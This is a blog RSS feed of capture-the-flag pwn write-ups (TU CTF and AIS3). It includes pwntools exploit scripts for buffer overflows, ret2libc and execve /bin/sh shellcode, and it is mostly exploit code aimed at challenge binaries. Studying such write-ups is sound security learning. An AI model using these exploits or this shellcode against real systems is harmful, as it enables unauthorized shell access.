<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Writeup on Zet’s playground</title>
    <link>https://blog.zet.tw/en/categories/writeup/</link>
    <description>Recent content in Writeup on Zet’s playground</description>
    <image>
      <title>Zet’s playground</title>
      <url>https://blog.zet.tw/img/blog-cover.png</url>
      <link>https://blog.zet.tw/img/blog-cover.png</link>
    </image>
    <generator>Hugo -- 0.139.0</generator>
    <language>en</language>
    <lastBuildDate>Sat, 21 May 2016 00:00:00 +0800</lastBuildDate>
    <atom:link href="https://blog.zet.tw/en/categories/writeup/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>TU CTF - Where Heretics Suffer</title>
      <link>https://blog.zet.tw/en/posts/2016-05-21-tu-ctf-where-heretics-suffer/</link>
      <pubDate>Sat, 21 May 2016 00:00:00 +0800</pubDate>
      <guid>https://blog.zet.tw/en/posts/2016-05-21-tu-ctf-where-heretics-suffer/</guid>
      <description>&lt;p&gt;When I got this challenge it was already a binary, compiled with a newer gcc that has some new mechanisms for function calls, as follows:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-markdown&#34; data-lang=&#34;markdown&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 80485cb:       8d 4c 24 04             lea    ecx,[esp+0x4]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 80485cf:       83 e4 f0                and    esp,0xfffffff0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 80485d2:       ff 71 fc                push   DWORD PTR [ecx-0x4]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 80485d5:       55                      push   ebp
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 80485d6:       89 e5                   mov    ebp,esp
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 80485d8:       51                      push   ecx
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 80485d9:       83 ec 34                sub    esp,0x34
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ......
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 8048682:       b8 00 00 00 00          mov    eax,0x0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 8048687:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 804868a:       c9                      leave
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 804868b:       8d 61 fc                lea    esp,[ecx-0x4]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 804868e:       c3                      ret
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can see that during setup, &lt;code&gt;lea    ecx,[esp+0x4]&lt;/code&gt; puts the value of esp into &lt;code&gt;ecx&lt;/code&gt;, then pushes &lt;code&gt;ecx&lt;/code&gt; onto the stack; after we overflow, we also overwrite that original value.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>When I got this challenge it was already a binary, compiled with a newer gcc that has some new mechanisms for function calls, as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span> 80485cb:       8d 4c 24 04             lea    ecx,[esp+0x4]
</span></span><span style="display:flex;"><span> 80485cf:       83 e4 f0                and    esp,0xfffffff0
</span></span><span style="display:flex;"><span> 80485d2:       ff 71 fc                push   DWORD PTR [ecx-0x4]
</span></span><span style="display:flex;"><span> 80485d5:       55                      push   ebp
</span></span><span style="display:flex;"><span> 80485d6:       89 e5                   mov    ebp,esp
</span></span><span style="display:flex;"><span> 80485d8:       51                      push   ecx
</span></span><span style="display:flex;"><span> 80485d9:       83 ec 34                sub    esp,0x34
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> ......
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> 8048682:       b8 00 00 00 00          mov    eax,0x0
</span></span><span style="display:flex;"><span> 8048687:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
</span></span><span style="display:flex;"><span> 804868a:       c9                      leave
</span></span><span style="display:flex;"><span> 804868b:       8d 61 fc                lea    esp,[ecx-0x4]
</span></span><span style="display:flex;"><span> 804868e:       c3                      ret
</span></span></code></pre></div><p>You can see that during setup, <code>lea    ecx,[esp+0x4]</code> puts the value of esp into <code>ecx</code>, then pushes <code>ecx</code> onto the stack; after we overflow, we also overwrite that original value.</p>
<p>The challenge is generous and provides a lot, so we can compute the address of <code>system</code>, and it also gives the buffer address. So we put the ret address at the start of the buffer — once esp is controlled properly it won&rsquo;t break — and then stack a normal <code>ret2libc</code> as usual.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> pwn <span style="color:#f92672">import</span> <span style="color:#f92672">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>e <span style="color:#f92672">=</span> ELF(<span style="color:#e6db74">&#39;/lib32/libc.so.6&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e">#e = ELF(&#39;./libc.so.6&#39;)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r <span style="color:#f92672">=</span> remote(<span style="color:#e6db74">&#34;127.0.0.1&#34;</span>,<span style="color:#ae81ff">4000</span>)
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>recvlines(<span style="color:#ae81ff">2</span>)
</span></span><span style="display:flex;"><span>puts <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>recvline()<span style="color:#f92672">.</span>strip()[<span style="color:#ae81ff">47</span>:<span style="color:#ae81ff">57</span>]
</span></span><span style="display:flex;"><span>print <span style="color:#e6db74">&#39;puts : &#39;</span>,puts
</span></span><span style="display:flex;"><span>puts <span style="color:#f92672">=</span> int(puts, <span style="color:#ae81ff">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>buffer <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>recvline()<span style="color:#f92672">.</span>strip()[<span style="color:#f92672">-</span><span style="color:#ae81ff">10</span>:]
</span></span><span style="display:flex;"><span>print <span style="color:#e6db74">&#39;buffer :&#39;</span>,buffer
</span></span><span style="display:flex;"><span>buffer <span style="color:#f92672">=</span> int(buffer,<span style="color:#ae81ff">16</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>system <span style="color:#f92672">=</span> puts <span style="color:#f92672">-</span> ( e<span style="color:#f92672">.</span>symbols[<span style="color:#e6db74">&#39;puts&#39;</span>] <span style="color:#f92672">-</span> e<span style="color:#f92672">.</span>symbols[<span style="color:#e6db74">&#39;system&#39;</span>] )
</span></span><span style="display:flex;"><span>print <span style="color:#e6db74">&#39;system : &#39;</span>,hex(system)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>payload <span style="color:#f92672">=</span> p32(system) <span style="color:#f92672">+</span> p32(<span style="color:#ae81ff">0</span>) <span style="color:#f92672">+</span> p32(buffer <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span><span style="color:#f92672">*</span><span style="color:#ae81ff">7</span>) <span style="color:#f92672">+</span> p32(<span style="color:#ae81ff">0</span>) <span style="color:#f92672">+</span> p32(<span style="color:#ae81ff">0</span>) <span style="color:#f92672">+</span> p32(<span style="color:#ae81ff">0</span>) <span style="color:#f92672">+</span> p32(<span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>payload <span style="color:#f92672">+=</span> <span style="color:#e6db74">&#39;/bin/sh</span><span style="color:#ae81ff">\x00</span><span style="color:#e6db74">&#39;</span>
</span></span><span style="display:flex;"><span>payload <span style="color:#f92672">+=</span> <span style="color:#e6db74">&#39;A&#39;</span><span style="color:#f92672">*</span>(<span style="color:#ae81ff">44</span><span style="color:#f92672">-</span>len(payload))
</span></span><span style="display:flex;"><span>print len(payload)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>sendline( payload <span style="color:#f92672">+</span> p32( buffer <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span>)  )
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>interactive()
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>AIS3 PWN</title>
      <link>https://blog.zet.tw/en/posts/2015-11-24-ais3-pwn/</link>
      <pubDate>Tue, 24 Nov 2015 00:00:00 +0800</pubDate>
      <guid>https://blog.zet.tw/en/posts/2015-11-24-ais3-pwn/</guid>
      <description>&lt;p&gt;A quick write-up.&lt;/p&gt;
&lt;h2 id=&#34;pwn1&#34;&gt;PWN1&lt;/h2&gt;
&lt;p&gt;Throw it into IDA and you can see:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;if ( v4 == 0x90909090 )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;result = puts(aCensordCensord);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;else
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;result = printf(&amp;#34;Your point is only %d, try hard!\n&amp;#34;, v4, v1,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;v2, v3);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;return result;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Just stuff it with 0x90 and you&amp;rsquo;re done:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python -c &amp;#39;print &amp;#34;\x90&amp;#34;*1000&amp;#39; | nc 52.69.163.194 1111
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;pwn2&#34;&gt;PWN2&lt;/h2&gt;
&lt;p&gt;After locating byte 20 you can control eip:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gdb-peda$ info functions
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;All defined functions:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Non-debugging symbols:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0x08048364  _init
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0x080483a0  read@plt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can point it at &lt;code&gt;read&lt;/code&gt;; generally it looks like this:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>A quick write-up.</p>
<h2 id="pwn1">PWN1</h2>
<p>Throw it into IDA and you can see:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>if ( v4 == 0x90909090 )
</span></span><span style="display:flex;"><span>result = puts(aCensordCensord);
</span></span><span style="display:flex;"><span>else
</span></span><span style="display:flex;"><span>result = printf(&#34;Your point is only %d, try hard!\n&#34;, v4, v1,
</span></span><span style="display:flex;"><span>v2, v3);
</span></span><span style="display:flex;"><span>return result;
</span></span></code></pre></div><p>Just stuff it with 0x90 and you&rsquo;re done:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>python -c &#39;print &#34;\x90&#34;*1000&#39; | nc 52.69.163.194 1111
</span></span></code></pre></div><h2 id="pwn2">PWN2</h2>
<p>After locating byte 20 you can control eip:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>gdb-peda$ info functions
</span></span><span style="display:flex;"><span>All defined functions:
</span></span><span style="display:flex;"><span>Non-debugging symbols:
</span></span><span style="display:flex;"><span>0x08048364  _init
</span></span><span style="display:flex;"><span>0x080483a0  read@plt
</span></span></code></pre></div><p>You can point it at <code>read</code>; generally it looks like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>call
</span></span><span style="display:flex;"><span>ret
</span></span><span style="display:flex;"><span>argv1
</span></span><span style="display:flex;"><span>￼argv2
</span></span><span style="display:flex;"><span>argv3
</span></span></code></pre></div><p>You can control <code>read</code>&rsquo;s return address and arguments, so you can point <code>ret</code> and our shellcode at the same location; for the shellcode, just find any blank area and write it there.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> pwn <span style="color:#f92672">import</span> <span style="color:#f92672">*</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> time
</span></span><span style="display:flex;"><span>r <span style="color:#f92672">=</span> remote(<span style="color:#e6db74">&#39;127.0.0.1&#39;</span>, <span style="color:#ae81ff">4000</span>)
</span></span><span style="display:flex;"><span>read_adr <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\xa0\x83\x04\x08</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>read <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\x00\x00\x00\x00</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\x00\xa1\x04\x08</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\x00\x01\x00\x00</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>p <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;a&#34;</span><span style="color:#f92672">*</span><span style="color:#ae81ff">20</span> <span style="color:#f92672">+</span> read_adr <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\x00\xa1\x04\x08</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">+</span> read
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>send (p)
</span></span><span style="display:flex;"><span>time<span style="color:#f92672">.</span>sleep(<span style="color:#ae81ff">5</span>)
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>send (<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd</span>
</span></span><span style="display:flex;"><span>\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68<span style="color:#e6db74">&#34;)</span>
</span></span></code></pre></div><h2 id="pwn3">PWN3</h2>
<p>A lot of this I worked out with qira. For pwn3, you can keep using <code>push</code> to overwrite <code>ret</code>, and finally exit to complete the overwrite.
First figure out how far the <code>pop leak</code> value is from our shellcode; the difference works out to 36, but it will overwrite ret, so after ret we need to give it a pointer to our shellcode.
With <code>%d</code>, anything over <code>0x80000000</code> needs <code>0x100000000</code> subtracted so the value inserted comes out correct. Our payload is expected to look like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>point to shellcode + shellcode + nop + ret
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> pwn <span style="color:#f92672">import</span> <span style="color:#f92672">*</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> time
</span></span><span style="display:flex;"><span>r <span style="color:#f92672">=</span> remote(<span style="color:#e6db74">&#39;127.0.0.1&#39;</span>,<span style="color:#ae81ff">4000</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">push</span>(num):
</span></span><span style="display:flex;"><span>     r<span style="color:#f92672">.</span>send(<span style="color:#e6db74">&#39;1</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span>     time<span style="color:#f92672">.</span>sleep(<span style="color:#ae81ff">0.2</span>)
</span></span><span style="display:flex;"><span>     <span style="color:#66d9ef">if</span> num <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0x80000000</span>:
</span></span><span style="display:flex;"><span>           num <span style="color:#f92672">-=</span> <span style="color:#ae81ff">0x100000000</span>
</span></span><span style="display:flex;"><span>     r<span style="color:#f92672">.</span>send( str(num) <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e">#pop leak</span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>send(<span style="color:#e6db74">&#39;2</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span>item <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>recvline_contains(<span style="color:#e6db74">&#39;item&#39;</span>)[<span style="color:#ae81ff">13</span>:<span style="color:#ae81ff">23</span>]
</span></span><span style="display:flex;"><span>shell_adr <span style="color:#f92672">=</span> int(item,<span style="color:#ae81ff">16</span>) <span style="color:#f92672">-</span> <span style="color:#ae81ff">36</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#shellcode point</span>
</span></span><span style="display:flex;"><span>push(shell_adr)
</span></span><span style="display:flex;"><span><span style="color:#75715e">#shellcode</span>
</span></span><span style="display:flex;"><span>push(<span style="color:#ae81ff">0x315b0beb</span>)
</span></span><span style="display:flex;"><span>push(<span style="color:#ae81ff">0x31c931c0</span>)
</span></span><span style="display:flex;"><span>push(<span style="color:#ae81ff">0xcd0bb0d2</span>)
</span></span><span style="display:flex;"><span>push(<span style="color:#ae81ff">0xfff0e880</span>)
</span></span><span style="display:flex;"><span>push(<span style="color:#ae81ff">0x622fffff</span>)
</span></span><span style="display:flex;"><span>push(<span style="color:#ae81ff">0x732f6e69</span>)
</span></span><span style="display:flex;"><span>push(<span style="color:#ae81ff">0x90900068</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e">#nop</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> _ <span style="color:#f92672">in</span> range (<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">16</span>):
</span></span><span style="display:flex;"><span>     push(<span style="color:#ae81ff">0x90909090</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e">#ret</span>
</span></span><span style="display:flex;"><span>push(shell_adr)
</span></span><span style="display:flex;"><span><span style="color:#75715e">#exit</span>
</span></span><span style="display:flex;"><span>time<span style="color:#f92672">.</span>sleep(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>send(<span style="color:#e6db74">&#39;4</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e">#get shell</span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>interactive()
</span></span></code></pre></div>]]></content:encoded>
    </item>
  </channel>
</rss>
